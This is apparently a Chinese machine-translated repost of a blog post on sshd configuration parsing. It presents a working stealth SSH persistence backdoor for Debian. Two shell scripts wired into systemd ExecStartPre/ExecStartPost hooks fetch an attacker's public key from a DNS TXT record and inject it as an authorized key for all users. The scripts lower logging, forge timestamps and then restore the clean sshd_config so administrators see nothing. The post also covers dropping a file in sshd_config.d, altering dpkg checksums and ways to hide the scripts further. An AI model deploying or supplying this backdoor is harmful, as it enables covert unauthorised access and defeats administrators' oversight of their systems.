配置解析是我在黑客攻击和创建简单后门的背景下一直在研究的一个有趣的话题，这些后门对普通的系统管理员来说是隐藏的。
最近一篇题为“使用配置文件的一切都应该报告它们的位置”的帖子引起了我的兴趣，因为它涉及到配置文件的定位、优先级设置和最终解析的独特方式。最初的帖子认为程序应该输出解析配置文件的位置。我同意，也相信程序应该在运行时报告它们的配置。在关于sshd的一些信息中，这篇文章概述了原因。
https://utcc.utoronto.ca/~cks/space/blog/sysadmin/ReportConfigFileLocations正如 HN 帖子的评论中所指出的，配置文件的解析通常采用“最后出现获胜”的策略——如果多次指定相同的配置选项，则最后一个优先（假设该选项不能多次指定）。但是，某些程序（例如）采取了相反的方法：第一次出现获胜。从：sshd man sshd(8)
除非另有说明，否则对于每个关键字，将使用第一个获得的值。SSHD 还提供了检查配置文件的功能：
-T Extended test mode. Check the validity of the configuration file, output the effective configuration to stdout and then exit. Optionally, Match rules may be applied by specifying the connection parameters using one or more -C options.-t Test mode. Only check the validity of the configuration file and sanity of the keys. This is useful for updating sshd reliably as configuration options may change.
这里的一个陷阱是这个测试（在编写时）解析了存在的配置文件;它不会打印正在运行的 SSHD 守护程序的当前配置。
在黑客攻击的上下文中，这特别有用，因为可以加载恶意文件，重新加载，然后用看起来无害的版本覆盖恶意配置文件。您的普通系统管理员可能会查看文件或运行以检查配置，这与使用的实际配置选项无关紧要。
sshd_config sshd sshd_config sshd -T我最近利用这个功能在 Debian 上创建了一个极简的 ssh 后门，很容易实现持久性。使用两个脚本并更新 systemd 的文件以在启动前后运行脚本，在服务器上使用 ssh 获得持久性。（注意：我还更改了声明新的ssh.service具有正确的校验和。
ssh.service sshd /var/lib/dpkg/info/openssh-server.md5sums第一个脚本具有以下功能：
确定正确的authorizedkeysfile值。创建文件夹/etc/calendar/（如果它不存在），复制/etc/文件夹的访问和修改时间。从$（hostname）.joshua.hu的TXT记录中检索SSH公钥，并将其保存到/etc/calendar/root。将正确的sshd配置文件复制到临时文件中。使用authorizedkeysfile选项覆盖原始sshd配置文件，该选项包含正确的值以及/etc/calendar/root位置（确保首先加载此恶意authorizedkkeysfile选项）。将日志级别配置追加到配置文件中（确保首先加载）。将临时文件中的原始sshd配置文件附加到新的sshd配置文档中。
keysfile=`/usr/sbin/sshd -T | awk -F authorizedkeysfile '/authorizedkeysfile/ {print $NF}'` || keysfile=".ssh/authorized_keys"if [ ! -d "/etc/calendar/" ]; thenmkdir /etc/calendar/touch -r /etc/ /etc/calendar/fidig +short TXT $(hostname).joshua.hu | sed 's/x22//g' > /etc/calendar/rootcp /etc/ssh/sshd_config /etc/ssh/sshd_config.bakecho "AuthorizedKeysFile /etc/calendar/root ${keysfile}" > /etc/ssh/sshd_configecho "LogLevel ERROR" >> /etc/ssh/sshd_configcat /etc/ssh/sshd_config.bak >> /etc/ssh/sshd_configexit 0
此脚本在sshd（重新）启动时运行，然后使用ExecStartPre-systemd指令执行sshd二进制文件本身。
第二个脚本是在sshd二进制文件运行后执行的（使用ExecStartPost systemd指令），它只是将原始sshd配置文件移回其原始位置。
mv /etc/ssh/sshd_config.bak /etc/ssh/sshd_configtouch -r /etc/ /etc/ssh/sshd_configexit 0
/etc/calendar/root中存在的密钥现在将被服务器上的所有用户接受。查看/etc/ssh/sshd_config文件的系统管理员将不会看到任何引人注目的东西，sshd-T也不会报告内存中的配置。当然，如果系统管理员查看ssh.service文件，他们会发现它已经被更改（当openssh服务器更新时，它将被覆盖）。
当谈到sshd时，事情变得更有意思了。Debian 11+和Ubuntu 20.04+中的sshd_config“在/etc/ssh/sshd_conconfig中设置了几个非默认选项作为标准选项”。也就是说，包括/etc/ssh/sshd_config.d/*.conf。这是Debian 11和Ubuntu 20.04上/etc/ssh/sshd_config中第一个可操作的配置。
因此，不必编辑/etc/sshd_config，只需在/etc/ssh/sshd_connfig.d/中创建一个以.conf结尾的文件，然后重新启动sshd，然后删除该文件。
更有趣的是，当重新加载sshd时，当前连接不会获得新的配置。对于多路传输的SSH连接，这意味着您甚至可以使用旧配置隐藏连接。
更持久的威胁是：
使用类似shc的东西将这些脚本转换为二进制文件，使用某种类型的加密/编码来检索公钥（相对于DNS上的明文），使用基本技巧设置文件的ctime，使用一种替代方法来更改ssh.service systemd文件（例如，某种类型的服务，它监视sshd何时启动/重新加载，并在适当的时间执行必要的更改，与systemd无关。）
原文地址：https://joshua.hu/sshd-backdoor-and-configuration-parsing文章只是将原文机翻了一下，部分话术可能会存在难以理解的地方。
免责声明：
本公众号漏洞复现文章，SRC、渗透测试等文章，仅供学习参考，请勿用于实战！！有授权情况下除外！！由于传播、利用本公众号文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责
原文始发于微信公众号（sahx安全从业记）：使用隐藏的SSH后门实现持久性
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论